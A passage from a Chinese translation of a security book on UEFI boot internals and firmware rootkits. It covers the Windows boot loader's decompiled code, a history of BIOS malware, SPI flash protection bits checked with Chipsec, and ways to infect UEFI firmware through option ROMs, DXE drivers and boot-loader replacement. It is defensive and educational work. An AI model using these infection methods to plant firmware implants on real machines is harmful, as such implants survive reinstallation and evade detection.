  • 如果操作系统以调试模式启动(包括虚拟化程序调试模式),则初始化内核调试器。

  • 将 UEFI 引导服务封装为 HAL 抽象,以供后续 Windows 内核模式代码使用,并调用退出引导服务。

  • 检查 CPU 是否支持 Hyper-V 虚拟化程序功能,并在支持的情况下进行设置。

  • 检查虚拟安全模式(VSM)和 DeviceGuard 策略(仅限 Windows 10)。

  • 对内核本身以及 Windows 组件进行完整性检查,然后将控制权转交给内核。

Windows 引导加载程序从 OslMain() 例程开始执行,如 清单 14-4 所示,该例程执行所有先前描述的操作。

__int64 __fastcall OslpMain(__int64 a1)

{

  __int64 v1; // rbx@1

  unsigned int v2; // eax@3

  __int64 v3; //rdx@3

  __int64 v4; //rcx@3

  __int64 v5; //r8@3

  __int64 v6; //rbx@5

  unsigned int v7; // eax@7

  __int64 v8; //rdx@7

  __int64 v9; //rcx@7

  __int64 v10; //rdx@9

  __int64 v11; //rcx@9

  unsigned int v12; // eax@10

  char v14; // [rsp+20h] [rbp-18h]@1

  int v15; // [rsp+2Ch] [rbp-Ch]@1

  char v16; // [rsp+48h] [rbp+10h]@3

  v1 = a1;

  BlArchCpuId(0x80000001, 0i64, &v14);

  if ( !(v15 & 0x100000) )

    BlArchGetCpuVendor();

  v2 = OslPrepareTarget (v1, &v16);

  LODWORD(v5) = v2;

  if ( (v2 & 0x80000000) == 0 && v16 )

  {

    v6 = OslLoaderBlock;

    if ( !BdDebugAfterExitBootServices )

      BlBdStop(v4, v3, v2);

  ➊ v7 = OslFwpKernelSetupPhase1(v6);

    LODWORD(v5) = v7;

    if ( (v7 & 0x80000000) == 0 )

    {

      ArchRestoreProcessorFeatures(v9, v8, v7);

      OslArchHypervisorSetup(1i64, v6);

    ➋ LODWORD(v5) = BlVsmCheckSystemPolicy(1i64);

      if ( (signed int)v5 >= 0 )

      {

        if ( (signed int)OslVsmSetup(1i64, 0xFFFFFFFFi64, v6) >= 0

         ➌ || (v12 = BlVsmCheckSystemPolicy(2i64), v5 = v12, (v12 & 0x80000000) == 0 ) )

        {

          BlBdStop(v11, v10, v5);

        ➍ OslArchTransferToKernel(v6, OslEntryPoint);

          while ( 1 )

            ;

        }

      }

    }

  }

}

清单 14-4:反编译后的 OslMain() 函数(Windows 10)

Windows 引导加载程序首先通过调用 OslBuildKernelMemoryMap() 函数来配置内核内存地址空间(图 14-11)。接着,它通过调用 OslFwpKernelSetupPhase1() 函数 ➊ 为加载内核做准备。OslFwpKernelSetupPhase1() 函数调用 EfiGetMemoryMap() 获取指向先前配置的 EFI_BOOT_SERVICE 结构的指针,然后将其存储在一个全局变量中,以便在内核模式下通过 HAL 服务进行未来的操作。

image

图 14-11:从 OslMain()OslBuildKernelMemoryMap() 的调用图流

之后,OslFwpKernelSetupPhase1() 例程调用 EFI 函数 ExitBootServices()。该函数通知操作系统即将获得完全控制;此回调允许在跳转到内核之前进行最后的配置。

VSM 引导策略检查在 BlVsmCheckSystemPolicy 例程中实现 ➋ ➌,该例程检查环境是否符合安全启动策略,并将 UEFI 变量 VbsPolicy 读取到内存中,填充内存中的 BlVsmpSystemPolicy 结构。

最后,执行流程通过 OslArchTransferToKernel() 到达操作系统内核(在我们的案例中是 ntoskrnl.exe 映像) ➍(清单 14-5)。

.text:0000000180123C90 OslArchTransferToKernel proc near

.text:0000000180123C90                 xor     esi, esi

.text:0000000180123C92                 mov     r12, rcx

.text:0000000180123C95                 mov     r13, rdx

.text:0000000180123C98                 wbinvd

.text:0000000180123C9A                 sub     rax, rax

.text:0000000180123C9D                 mov     ss, ax

.text:0000000180123CA0                 mov     rsp, cs:OslArchKernelStack

.text:0000000180123CA7                 lea     rax, OslArchKernelGdt

.text:0000000180123CAE                 lea     rcx, OslArchKernelIdt

.text:0000000180123CB5                 lgdt    fword ptr [rax]

.text:0000000180123CB8                 lidt    fword ptr [rcx]

.text:0000000180123CBB                 mov     rax, cr4

.text:0000000180123CBE                 or      rax, 680h

.text:0000000180123CC4                 mov     cr4, rax

.text:0000000180123CC7                 mov     rax, cr0

.text:0000000180123CCA                 or      rax, 50020h

.text:0000000180123CD0                 mov     cr0, rax

.text:0000000180123CD3                 xor     ecx, ecx

.text:0000000180123CD5                 mov     cr8, rcx

.text:0000000180123CD9                 mov     ecx, 0C0000080h

.text:0000000180123CDE                 rdmsr

.text:0000000180123CE0                 or      rax, cs:OslArchEferFlags

.text:0000000180123CE7                 wrmsr

.text:0000000180123CE9                 mov     eax, 40h

.text:0000000180123CEE                 ltr     ax

.text:0000000180123CF1                 mov     ecx, 2Bh

.text:0000000180123CF6                 mov     gs, ecx

.text:0000000180123CF8                 assume gs:nothing

.text:0000000180123CF8                 mov     rcx, r12

.text:0000000180123CFB                 push    rsi

.text:0000000180123CFC                 push    10h

.text:0000000180123CFE                 push    r13

.text:0000000180123D00                 retfq

.text:0000000180123D00 OslArchTransferToKernel endp

清单 14-5:反汇编的 OslArchTransferToKernel() 函数

这一功能在前几章中已经提到,因为一些引导病毒(如 Gapz)会钩取它,以将自己的钩子插入内核映像中。

UEFI 固件的安全性优势

正如我们所见,基于传统 MBR 和 VBR 的引导病毒无法控制 UEFI 引导方案,因为它们感染的引导代码在 UEFI 引导流程中不再执行。然而,UEFI 的最大安全影响在于它支持安全启动技术。安全启动改变了 rootkit 和 bootkit 感染的游戏规则,因为它防止攻击者修改任何操作系统之前的引导组件——除非他们找到绕过安全启动的方法。

此外,英特尔最近发布的 Boot Guard 技术标志着安全启动演变的又一步。Boot Guard 是一种基于硬件的完整性保护技术,旨在在安全启动开始之前就保护系统。简而言之,Boot Guard 允许平台厂商安装加密密钥,以保持安全启动的完整性。

另一个自英特尔 Skylake CPU(英特尔处理器的一代)发布以来的近期技术是 BIOS Guard,它为平台提供防止固件闪存存储修改的保护。即使攻击者能够访问闪存内存,BIOS Guard 也能保护它免于安装恶意植入物,从而防止在引导时执行恶意代码。

这些安全技术直接影响了现代启动工具(bootkit)的发展方向,迫使恶意软件开发者在应对这些防御措施时不得不进化他们的方法。

结论

自从微软 Windows 7 开始,现代 PC 转向 UEFI 固件,这标志着启动流程发生了首次变化,并重塑了启动工具生态。依赖传统 BIOS 中断将控制权转交给恶意代码的方法已经过时,因为这些结构已从通过 UEFI 启动的系统中消失。

安全启动技术彻底改变了局面,因为不再可能直接修改启动加载器组件,如bootmgfw.efiwinload.efi

现在,所有的启动流程都得到固件的信任和验证,并且有硬件支持。攻击者需要深入固件,寻找并利用 BIOS 漏洞,才能绕过这些 UEFI 安全特性。第十六章将概述现代 BIOS 漏洞的现状,但首先,第十五章将讨论固件攻击背景下 rootkit 和 bootkit 威胁的演变。

第十五章:当代 UEFI 引导工具**

Image

如今,在野外很少能捕捉到新的创新根工具或引导工具。大多数恶意软件威胁已经转向用户模式,因为现代安全技术使得旧有的根工具和引导工具方法已经过时。像微软的内核模式代码签名策略、PatchGuard、虚拟安全模式(VSM)和设备保护等安全措施限制了内核模式代码的修改,并提高了内核模式根工具开发的复杂性。

向基于 UEFI 的系统过渡,以及安全启动方案的推广,改变了引导工具开发的格局,提高了内核模式根工具和引导工具的开发成本。就像内核模式代码签名策略的引入促使恶意软件开发者寻求新的引导工具功能,而不是寻找绕过代码签名保护的方法一样,最近的变化也使安全研究人员将注意力转向了 BIOS 固件。

从攻击者的角度来看,感染系统的下一个逻辑步骤是将感染点向下移动到软件堆栈中,在引导代码初始化之后,进入 BIOS(如 图 15-1 所示)。BIOS 在引导过程中启动硬件设置的初步阶段,这意味着 BIOS 固件级别是硬件之前的最后一道屏障。

image

图 15-1:根工具和引导工具对安全性发展的回应

BIOS 所需的持久性级别与我们在本书中迄今讨论的其他任何内容都非常不同。固件植入可以在重新安装操作系统后甚至更换硬盘后继续存活,这意味着根工具感染有可能在感染硬件的整个生命周期内保持活跃。

本章重点讨论 UEFI 固件的引导工具感染,因为在撰写本文时,大多数 x86 平台的系统固件都基于 UEFI 规范。然而,在讨论这些现代 UEFI 固件感染方法之前,我们将先讨论一些历史遗留的 BIOS 引导工具,以便提供历史背景。

历史 BIOS 威胁概览

BIOS 恶意软件一直以其复杂性而著称,而随着现代 BIOS 特性的增加,恶意软件需要与之协作或绕过,今天这一点比以往任何时候都更加真实。即便在厂商开始认真对待之前,BIOS 恶意软件已经有了丰富的历史。我们将详细看几个早期的 BIOS 恶意软件示例,然后简要列出自第一个 BIOS 感染恶意软件 WinCIH 以来所有威胁的主要特征。

WinCIH,首个针对 BIOS 的恶意软件

WinCIH 病毒,也被称为切尔诺贝利病毒,是第一个公开被知道攻击 BIOS 的恶意软件。它由台湾学生陈英豪开发,1998 年在野外被发现,并通过盗版软件迅速传播。WinCIH 会感染 Microsoft Windows 95 和 98 的可执行文件;当感染的文件被执行时,病毒会驻留在内存中并设置文件系统钩子,以便在访问其他程序时将其感染。这种方法使 WinCIH 在传播上极为有效,但病毒最具破坏性的部分是它试图覆盖感染机器上闪存 BIOS 芯片的内存。

具有破坏性的 WinCIH 载荷被定时设置在切尔诺贝利核灾难的日期——4 月 26 日。如果闪存 BIOS 覆盖成功,除非恢复原始 BIOS,否则机器将无法启动。在本章的资源中(nostarch.com/rootkits/),你可以下载 WinCIH 的原始汇编代码,该代码由其作者分发。

注意

如果你有兴趣深入了解传统 BIOS 逆向工程和架构,我们推荐由 Darmawan Mappatutu Salihun(也被称为 pinczakko)所著的《BIOS Disassembly Ninjutsu Uncovered》一书。该书的电子版可以从作者的 GitHub 账户免费下载 (github.com/pinczakko/BIOS-Disassembly-Ninjutsu-Uncovered)。

Mebromi

在 WinCIH 之后,直到 2011 年,下一种在野外发现的 BIOS 攻击恶意软件才出现。它被称为 Mebromi 或 BIOSkit,目标是具有传统 BIOS 的机器。到那时,安全研究人员已经在会议和电子杂志上发布了 BIOS 攻击的感染思路和概念证明(PoC)。这些思路中的大多数在实际的恶意软件中难以实施,但 BIOS 感染被视为针对性攻击的一种有趣理论方向,因为这种攻击需要维持长期的持久感染。

Mebromi 并没有实现这些理论技术,而是将 BIOS 感染作为一种简单的方法,用来保持 MBR 在系统启动时始终处于感染状态。即使 MBR 被恢复到原始状态或操作系统重新安装,甚至硬盘被更换,Mebromi 也能恢复感染;感染的 BIOS 部分会保留并重新感染系统的其他部分。

在初期阶段,Mebromi 使用原始的 BIOS 更新软件传递恶意固件更新,特别是在 Award BIOS 系统上,这些系统曾是当时最流行的 BIOS 供应商之一(1998 年被 Phoenix BIOS 收购)。在 Mebromi 存在期间,几乎没有保护措施可以防止恶意更新遗留 BIOS。与 WinCIH 类似,Mebromi 修改了 BIOS 更新例程的系统管理中断(SMI)处理程序,以传递修改后的恶意 BIOS 更新。由于当时没有固件签名等防护措施,感染相对容易;你可以使用* nostarch.com/rootkits/*提供的资源链接自行检查这一经典恶意软件。

注意

如果你对阅读更多关于 Mebromi 的内容感兴趣,可以在 Zhitao Zhou 撰写的论文《一种新的 BIOS 根套件在中国传播》中找到详细分析 (www.virusbulletin.com/virusbulletin/2011/10/new-bios-rootkit-spreads-china/)。

其他威胁及应对概述

现在让我们看看野外 BIOS 威胁的时间线以及安全研究人员的相关活动。正如你在图 15-2 中所见,BIOS 根套件和植入物的发现最活跃的时期始于 2013 年,并持续至今。

image

图 15-2:BIOS 威胁时间线

为了简要说明 BIOS bootkit 的演变,我们在表 15-1 中按时间顺序列出了每个威胁的重点。左列列出了研究人员为展示安全问题而开发的 PoC 的演变,中间列列出了在野外发现的真实 BIOS 威胁样本。第三列提供了进一步阅读的资源。

这些威胁中许多利用了 SMI 处理程序,它负责硬件与操作系统之间的接口,并在系统管理模式(SMM)下执行。为了本章的讨论,我们简要描述了最常被利用的 SMI 处理程序漏洞,这些漏洞被用来感染 BIOS。对于不同 UEFI 固件漏洞的更详细讨论,请参考第十六章。

表 15-1: BIOS 根套件历史时间线

PoC BIOS bootkit 演变 BIOS bootkit 威胁演变 进一步资源
WinCIH, 1998 第一个已知的攻击操作系统的 BIOS 恶意软件
APCI rootkit, 2006 第一个基于 ACPI 的根套件(高级配置与电源接口),由 John Heasman 在 Black Hat 会议上展示 “实现和检测 ACPI BIOS 根套件”,Black Hat 2006,www.blackhat.com/presentations/bh-europe-06/bh-eu-06-Heasman.pdf
PCI OptRom rootkit, 2007第一个针对 PCI 的 Option ROM 根工具,由 John Heasman 在 Black Hat 上展示 “实现和检测 PCI 根工具,”Black Hat 2007,* www.blackhat.com/presentations/bh-dc-07/Heasman/Paper/bh-dc-07-Heasman-WP.pdf*
IceLord rootkit, 2007一个中国的 BIOS 引导工具 PoC;二进制文件在研究者的论坛上公开发布
SMM rootkit, 2007首次已知的 SMM 根工具 PoC,由 Rodrigo Branco 展示,在巴西的 H2HC 大会上亮相 “使用 SMM 进行‘其他用途’的系统管理模式攻击,” phrack.org/issues/65/7.html
SMM rootkit, 2008第二个已知的 SMM 根工具 PoC,在 Black Hat 上展示 “SMM 根工具:一种新的操作系统独立恶意软件类型,”Black Hat 2008,* dl.acm.org/citation.cfm?id=1460892*;另见 phrack.org/issues/65/7.html
BIOS 修补,2009多位研究人员发表了关于 BIOS 镜像修改的论文 Computrace, 2009首个已知的逆向工程研究,由 Anibal Sacco 和 Alfredo Ortega 发布 “停用根工具,”Black Hat 2009,* www.coresecurity.com/corelabs-research/publications/deactivate-rootkit/*
Mebromi, 2011首个在野外被发现的 BIOS 引导工具,Mebromi 使用的思路类似于 IceLord “Mebromi:首个在野外发现的 BIOS Rootkit,” www.webroot.com/blog/2011/09/13/mebromi-the-first-bios-rootkit-in-the-wild/
Rakshasa, 2012一个持久性 BIOS 根工具的 PoC,由 Jonathan Brossard 在 Black Hat 上展示
DreamBoot, 2013UEFI 引导工具的首个公开 PoC BadBIOS, 2013据称是一个持久性 BIOS 根工具,由 Dragos Ruiu 报告 “UEFI 和 Dreamboot,”HiTB 2013,* conference.hitb.org/hitbsecconf2013ams/materials/D2T1%20-%20Sebastien%20Kaczmarek%20-%20Dreamboot%20UEFI%20Bootkit.pdf* “认识‘badBIOS’,这个神秘的 Mac 和 PC 恶意软件能够跨越空气隔离,” arstechnica.com/information-technology/2013/10/meet-badbios-the-mysterious-mac-and-pc-malware-that-jumps-airgaps/
x86 Memory bootkit, 2013基于 UEFI 的内存引导工具 PoC “x86 内存引导工具,” github.com/AaLl86/retroware/tree/master/MemoryBootkit
从 BIOS 绕过安全启动,2013首次公开了绕过 Microsoft Windows 8 安全启动的技术 “Windows 8 安全启动软件绕过的故事,” Black Hat 2013, c7zero.info/stuff/Windows8SecureBoot_Bulygin-Furtak-Bazhniuk_BHUSA2013.pdf
隐秘硬盘后门的实现及其影响,2013Jonas Zaddach 等人演示了硬盘固件后门的概念验证 “隐秘硬盘后门的实现及其影响,”年度计算机安全应用大会(ACSAC)2013, www.syssec-project.eu/m/page-media/3/acsac13_zaddach.pdf
Darth Venamis,2014Rafal Wojtczuk 和 Corey Kallenberg 发现了 S3BootSript 漏洞(VU#976132) 首次公开涉嫌国家支持的基于 SMM 的植入程序的报告 “VU#976132,” www.kb.cert.org/vuls/id/976132/
雷击攻击,2014通过 Thunderbolt 端口利用恶意 Option ROM 攻击 Apple 设备,由 Trammell Hudson 在 31C3 会议上展示 “雷击:针对 Apple MacBook 的 EFI Bootkit,” events.ccc.de/congress/2014/Fahrplan/events/6128.html
LightEater,2015基于 UEFI 的 rootkit,演示了如何从固件中的内存中暴露敏感信息,由 Corey Kallenberg 和 Xeno Kovah 展示 Hacking Team rkloader,2015首次公开的商业级 UEFI 固件 bootkit 泄露,由 Hacking Team rkloader 揭示
SmmBackdoor,2015首次公开的 UEFI 固件 bootkit 的概念验证,源代码发布在 GitHub 上 “为 UEFI 平台构建可靠的 SMM 后门,” blog.cr4.sh/2015/07/building-reliable-smm-backdoor-for-uefi.html
Thunderstrike2,2015展示了一种混合攻击方法,结合了 Darth Venamis 和 Thunderstrike 漏洞 “雷击 2:西斯之击——MacBook 固件蠕虫,” Black Hat 2015, legbacore.com/Research_files/ts2-blackhat.pdf
Memory Sinkhole,2015存在于高级可编程中断控制器(APIC)中的漏洞,攻击者可以利用该漏洞攻击操作系统使用的 SMM 内存区域,发现者为 Christopher Domas;攻击者可以利用该漏洞安装 rootkit “内存陷阱,” Black Hat 2015, github.com/xoreaxeaxeax/sinkhole/
提权从 SMM 到 VMM,2015一组英特尔研究人员提出了从 SMM 到 hypervisor 的提权 PoC,并演示了在 MS Hyper-V 和 Xen 上暴露 VMM 保护内存区域的 PoC “通过固件和硬件攻击 Hypervisor”,Black Hat 2015,2015.zeronights.org/assets/files/10-Matrosov.pdf
PeiBackdoor, 2016第一个公开发布的在启动的 PEI(Pre-EFI Initialization)阶段操作的 UEFI rootkit PoC;在 GitHub 上发布了源代码 Cisco 路由器定向植入物,2016据称是面向 Cisco 路由器 BIOS 的国家赞助植入物的报道 “PeiBackdoor”,github.com/Cr4sh/PeiBackdoor/
ThinkPwn, 2016提权漏洞,晋升至 SMM;最初由 Dmytro Oleksiuk,也被称为 Cr4sh,在 ThinkPad 系列笔记本上发现 “探索和利用联想固件秘密”,blog.cr4.sh/2016/06/exploring-and-exploiting-lenovo.html
MacBook 定向植入物,2017据称是面向苹果笔记本的国家赞助 UEFI 植入物的报道
Lojax 植入物,2018ESET 研究人员在野外发现的 UEFI rootkit “LOJAX”,www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf

BIOS 固件一直是研究人员的一个挑战目标,这既因为信息缺乏,也因为在启动过程中添加新代码来修改或调节 BIOS 的难度。但自 2013 年以来,我们看到安全研究社区在寻找新漏洞并展示最近引入的安全功能(如安全启动)方面做出了更大的努力。

查看实际 BIOS 恶意软件的发展,您可能会注意到,很少有 BIOS 威胁 PoC 实际上成为固件基础植入物的趋势,大多数用于定向攻击。我们将在这里重点讨论感染 BIOS 的持久 rootkit 的方法,该 rootkit 不仅可以在操作系统重新启动时生存,而且还可以在具有感染的固件的 BIOS 中进行任何硬件更改(除了主板)。多个媒体报道显示,国家赞助的行动者可用的 UEFI 植入物表明,这些植入物是技术上的现实,并且已经存在相当长的时间。

所有硬件都有固件

在我们开始深入研究 UEFI rootkit 和 bootkit 的具体细节之前,让我们先看看现代 x86 硬件及其内部存储的不同类型固件。如今,所有硬件都带有一些固件;甚至笔记本电脑电池也有固件,由操作系统更新以实现更准确的电池参数和使用情况测量。

注意

查理·米勒是第一位公开关注笔记本电池的研究人员。他在 2011 年黑帽大会上发表了名为“电池固件黑客攻击”的演讲 (media.blackhat.com/bh-us-11/Miller/BH_US_11_Miller_Battery_Firmware_Public_Slides.pdf) *。

每一块固件都是攻击者可以存储和执行代码的区域,因此也是恶意植入的机会。大多数现代桌面和笔记本电脑拥有以下几种类型的固件:

  • UEFI 固件(BIOS)管理引擎固件(例如,英特尔 ME)

  • 硬盘固件(HDD/SSD)

  • 外设设备固件(例如,网络适配器)

  • 显卡固件(GPU)

尽管存在许多明显的攻击途径,固件攻击在网络犯罪分子中并不常见,因为他们更倾向于选择能够针对广泛受害者的攻击。由于固件在不同系统之间存在差异,大多数已知的固件泄漏事件都是针对性的攻击,而非概念验证攻击(PoC)。

例如,第一个在野外发现的硬盘固件植入是由卡巴斯基实验室的研究人员在 2015 年初发现的。卡巴斯基将这种恶意软件的创作者称为方程组并将其分类为国家级威胁行为者。

根据卡巴斯基实验室的说法,他们发现的恶意软件具备感染特定硬盘型号的能力,包括一些非常常见的品牌。所有目标硬盘型号都没有固件更新的认证要求,这也是这种攻击得以实施的原因。

在这次攻击中,卡巴斯基检测到的硬盘感染模块nls933w.dll,被标记为Trojan.Win32.EquationDrug.c,通过高级技术附件(ATA)存储设备连接命令接口传送了修改过的固件。访问 ATA 命令允许攻击者重新编程或更新硬盘(HDD)/固态硬盘(SSD)固件,只需进行非常简单的更新验证或认证。这种固件植入可以在固件层面伪造磁盘扇区,或者通过拦截读写请求来修改数据流,例如传送修改版的 MBR。这些硬盘固件植入位于固件栈的低层,因此非常难以检测。

针对固件的恶意软件通常通过正常的操作系统更新过程重新闪存恶意固件更新,从而进行固件植入。这意味着它主要影响那些不支持固件更新认证的硬盘,而是直接设置新的固件。接下来的部分,我们将重点讨论基于 UEFI 的根套件和植入物,但了解 BIOS 并不是唯一可以开发持久固件植入的地方,也是很有用的。

UEFI 固件漏洞

现代操作系统中关于不同类型漏洞的讨论和示例在网上有很多,但关于 UEFI 固件漏洞的讨论却较为罕见。在这里,我们将列出过去几年公开披露的与 rootkit 相关的漏洞类型。大多数是内存损坏和 SMM 调用漏洞,当 CPU 处于 SMM 模式时,这些漏洞可能导致任意代码执行。攻击者可以利用这些漏洞绕过 BIOS 保护位,从而实现对某些系统上 SPI 闪存区域的任意写入和读取。我们将在第十六章中详细介绍,但这里有几个具有代表性的重点:

ThinkPwn (LEN-8324) 一个针对多个 BIOS 厂商的任意 SMM 代码执行漏洞。此漏洞允许攻击者禁用闪存写保护,并修改平台固件。

Aptiocalypsis (INTEL-SA-00057) 一个针对基于 AMI 固件的任意 SMM 代码执行漏洞,允许攻击者禁用闪存写保护位并修改平台固件。

任何这些问题都可能允许攻击者将持久的 rootkit 或植入物安装到受害者硬件中。许多这类漏洞依赖于攻击者能够绕过内存保护位,或者依赖于这些位没有启用或没有效果。

(内)存保护位的有效性

保护 SPI 闪存免受任意写入的最常见技术基于内存保护位,这是一种相当古老的防御方法,Intel 十年前就引入了这一方法。内存保护位是便宜的基于 UEFI 的硬件在物联网(IoT)市场中唯一可用的保护手段。一个允许攻击者获得 SMM 访问权限并执行任意代码的 SMM 漏洞将使攻击者能够更改这些位。让我们更仔细地看看这些位:

BIOSWE BIOS 写使能位,通常设置为0,并由 SMM 更改为1以验证固件或允许更新。

BLE BIOS 锁定使能位,默认应设置为1以防止对 SPI 闪存 BIOS 区域的任意修改。此位可被具有 SMM 权限的攻击者更改。

SMM_BWP SMM BIOS 写保护位应设置为1以防止 SPI 闪存内存被 SMM 以外的方式写入。2015 年,研究人员 Corey Kallenberg 和 Rafal Wojtczuk 发现了一个竞态条件漏洞(VU#766164),该漏洞使得此位未设置时,可能导致 BLE 位被禁用。

PRx SPI 受保护区域(PR 寄存器 PR0–PR5)并不保护整个 BIOS 区域免受修改,但它们为配置特定的 BIOS 区域提供了一定的灵活性,并能设置读取或写入策略。PR 寄存器受到 SMM 的保护,防止任意修改。如果所有安全位都已设置,并且 PR 寄存器配置正确,那么攻击者修改 SPI 闪存将变得非常困难。

这些安全位在 DXE 阶段设置,我们在第十四章中讨论过这一点。如果你感兴趣,可以在 Intel EDK2 的 GitHub 仓库中找到平台初始化阶段代码的示例。

检查保护位

我们可以通过使用一个名为Chipsec的安全评估平台来检查 BIOS 保护位是否已启用且有效,Chipsec由 Intel 安全卓越中心(现称为 IPAS,Intel 产品保障与安全)开发并开源。

我们将在第十九章中从法医角度检查 Chipsec,但现在,我们只使用bios_wp模块(* github.com/chipsec/chipsec/blob/master/chipsec/modules/common/bios_wp.py*),该模块检查保护是否正确配置并保护 BIOS。bios_wp模块读取保护位的实际值,并输出 SPI 闪存保护的状态,如果配置错误,则警告用户。

要使用bios_wp模块,首先安装 Chipsec,然后运行以下命令:

chipsec_main.py -m common.bios_wp

作为示例,我们在一个基于 MSI Cubi2 且搭载 Intel 第七代 CPU 的易受攻击平台上进行了此检查,这款硬件在撰写本文时相对较新。此检查的输出结果见于清单 15-1。Cubi2 的 UEFI 固件基于 AMI 的框架。

   [x][ =======================================================================

   [x][ Module: BIOS Region Write Protection

   [x][ =======================================================================

   [*] BC = 0x00000A88 << BIOS Control (b:d.f 00:31.5 + 0xDC)

   [00] BIOSWE              = 0 << BIOS Write Enable

➊ [01] BLE                 = 0 << BIOS Lock Enable

   [02] SRC                 = 2 << SPI Read Configuration

   [04] TSS                 = 0 << Top Swap Status

➋ [05] SMM_BWP             = 0 << SMM BIOS Write Protection

   [06] BBS                 = 0 << Boot BIOS Strap

   [07] BILD                = 1 << BIOS Interface Lock Down

   [-] BIOS region write protection is disabled!

   [*] BIOS Region: Base = 0x00A00000, Limit = 0x00FFFFFF

   SPI Protected Ranges

   ------------------------------------------------------------

➌ PRx (offset) | Value    | Base     | Limit    | WP? | RP?

   ------------------------------------------------------------

   PR0 (84)     | 00000000 | 00000000 | 00000000 | 0   | 0

   PR1 (88)     | 00000000 | 00000000 | 00000000 | 0   | 0

   PR2 (8C)     | 00000000 | 00000000 | 00000000 | 0   | 0

   PR3 (90)     | 00000000 | 00000000 | 00000000 | 0   | 0

   PR4 (94)     | 00000000 | 00000000 | 00000000 | 0   | 0

   [!] None of the SPI protected ranges write-protect BIOS region

   [!] BIOS should enable all available SMM based write protection mechanisms or

   configure SPI protected ranges to protect the entire BIOS region

   [-] FAILED: BIOS is NOT protected completely

清单 15-1:来自模块common.bios_wp的 Chipsec 工具输出

输出结果显示BLE ➊没有启用,这意味着攻击者可以直接从常规操作系统的内核模式修改 SPI 闪存芯片上的任何 BIOS 内存区域。此外,SMM_BWP ➋和PRx ➌完全未使用,这表明该平台没有任何 SPI 闪存内存保护。

如果在清单 15-1 中测试的平台的 BIOS 更新没有签名,或者硬件供应商没有正确地验证更新,攻击者就可以轻松通过恶意的 BIOS 更新修改固件。这看起来可能像一个异常,但实际上这类简单的错误相当常见。原因各异:有些供应商根本不关心安全性,而另一些则意识到安全问题,但不想为廉价硬件开发复杂的更新方案。现在让我们看看其他几种感染 BIOS 的方式。

感染 BIOS 的方式

我们在第十四章中检查了复杂且多面的 UEFI 启动过程。对于我们当前讨论的要点,来自那一章的收获是,在 UEFI 固件将控制权交给操作系统加载器并启动操作系统之前,攻击者有很多机会隐藏或感染系统。

实际上,现代 UEFI 固件越来越像一个独立的操作系统。它有自己的网络堆栈和任务调度器,并且可以在引导过程之外直接与物理设备通信——例如,许多设备通过 UEFI DXE 驱动程序与操作系统通信。图 15-3 显示了固件感染在不同引导阶段可能的表现。

image

图 15-3:带有攻击指针的 UEFI 固件启动流程

多年来,安全研究人员已识别出许多漏洞,允许攻击者修改引导过程并添加恶意代码。到今天为止,大多数这些漏洞已经被修复,但一些硬件——甚至是新硬件——仍然可能容易受到这些旧问题的影响。以下是感染 UEFI 固件并植入持久性 rootkit 的不同方式:

修改未签名的 UEFI 选项 ROM 攻击者可以修改某些附加卡(用于网络、存储等)中的 UEFI DXE 驱动程序,以便在 DXE 阶段执行恶意代码。

添加/修改 DXE 驱动程序 攻击者可以修改现有的 DXE 驱动程序或向 UEFI 固件镜像中添加恶意的 DXE 驱动程序。结果是,添加/修改的 DXE 驱动程序将在 DXE 阶段执行。

替换 Windows 启动管理器(后备引导加载程序) 攻击者可以替换硬盘的 EFI 系统分区(ESP)上的引导管理器(后备引导加载程序)(ESP\EFI\Microsoft\Boot\bootmgfw.efiESP\EFI\ BOOT\bootx64.efi),以在 UEFI 固件将控制权交给操作系统引导加载程序时接管代码执行。

添加新的引导加载程序(bootkit.efi 攻击者可以通过修改 BootOrder/Boot#### EFI 变量,向可用引导加载程序列表中添加另一个引导加载程序,这些变量决定操作系统引导加载程序的顺序。

在这些方法中,前两种方法在本章的上下文中最为有趣,因为它们会在 UEFI DXE 阶段执行恶意代码;这两种方法我们将更详细地讨论。最后两种方法——尽管与 UEFI 启动过程相关——专注于攻击操作系统引导加载程序,并在 UEFI 固件执行后执行恶意代码,因此我们在这里不再进一步讨论它们。

修改未签名的 UEFI 选项 ROM

选项 ROM 是位于 PCI 兼容设备上的 x86 代码中的 PCI/PCIe 扩展固件(ROM)。选项 ROM 在启动过程中被加载、配置并执行。John Heasman 在 2007 年的 Black Hat 大会上首次揭示了选项 ROM 作为潜伏 rootkit 感染的入口点(参见 表 15-1)。随后,在 2012 年,一位名为 Snare 的黑客介绍了多种通过选项 ROM 感染 Apple 笔记本电脑的技术(* ho.ax/downloads/De_Mysteriis_Dom_Jobsivs_Black_Hat_Slides.pdf )。在 2015 年的 Black Hat 大会上,演讲者 Trammell Hudson、Xeno Kovah 和 Corey Kallenberg 演示了一种名为 Thunderstrike 的攻击,通过修改固件渗透 Apple 以太网适配器并加载恶意代码( www.blackhat.com/docs/us-15/materials/us-15-Hudson-Thunderstrike-2-Sith-Strike.pdf *)。

选项 ROM 包含一个 PE 镜像,这是一个特定的 PCI 设备的 DXE 驱动程序。在英特尔的开源 EDK2 工具包中(* github.com/tianocore/edk2/ *),你可以找到加载这些 DXE 驱动程序的代码;在源代码中,你会在 PciOptionRomSupport.h 文件中找到实现选项 ROM 加载器的代码,该文件位于 PciBusDxe 文件夹内。清单 15-2 显示了该代码中的 LoadOpRomImage() 函数。

EFI_STATUS LoadOpRomImage (

     ➊ IN PCI_IO_DEVICE       *PciDevice,    // PCI device instance

     ➋ IN UINT64              RomBase        // address of Option ROM

);

清单 15-2:EDK2 中的 LoadOpRomImage() 例程

我们看到 LoadOpRomImage() 函数接收两个输入参数:一个指向 PCI 设备实例的指针 ➊ 和选项 ROM 镜像的地址 ➋。由此我们可以推测,该函数将 ROM 镜像映射到内存中并为执行做准备。下一个函数 ProcessOpRomImage() 如 清单 15-3 所示。

EFI_STATUS ProcessOpRomImage (

     IN PCI_IO_DEVICE   *PciDevice    // Pci device instance

);

清单 15-3:EDK2 中的 ProcessOpRomImage() 例程

ProcessOpRomImage() 负责启动选项 ROM 中包含的特定设备驱动程序的执行过程。使用选项 ROM 作为入口点的 Thunderstrike 攻击者通过修改 Thunderbolt 以太网适配器,使其能够连接外部外设,从而发起攻击。该适配器由 Apple 和 Intel 开发,基于 GN2033 芯片,提供 Thunderbolt 接口。图 15-4 显示了一个类似于 Thunderstrike 攻击中使用的 Thunderbolt 以太网适配器的反汇编图。

image

图 15-4:反汇编的 Apple Thunderbolt 以太网适配器

